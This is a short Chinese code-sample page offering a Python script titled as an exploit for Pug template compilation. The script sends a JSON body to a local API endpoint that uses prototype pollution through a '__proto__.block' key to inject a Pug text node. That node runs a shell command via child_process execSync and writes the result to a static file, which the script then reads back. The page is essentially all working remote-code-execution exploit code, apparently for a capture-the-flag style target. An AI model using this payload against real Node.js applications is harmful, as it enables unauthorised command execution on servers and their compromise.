📜  pug 编译漏洞利用 - Python 代码示例

📅  最后修改于: 2022-03-11 14:45:41.193000             🧑  作者: Mango

代码示例1
import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)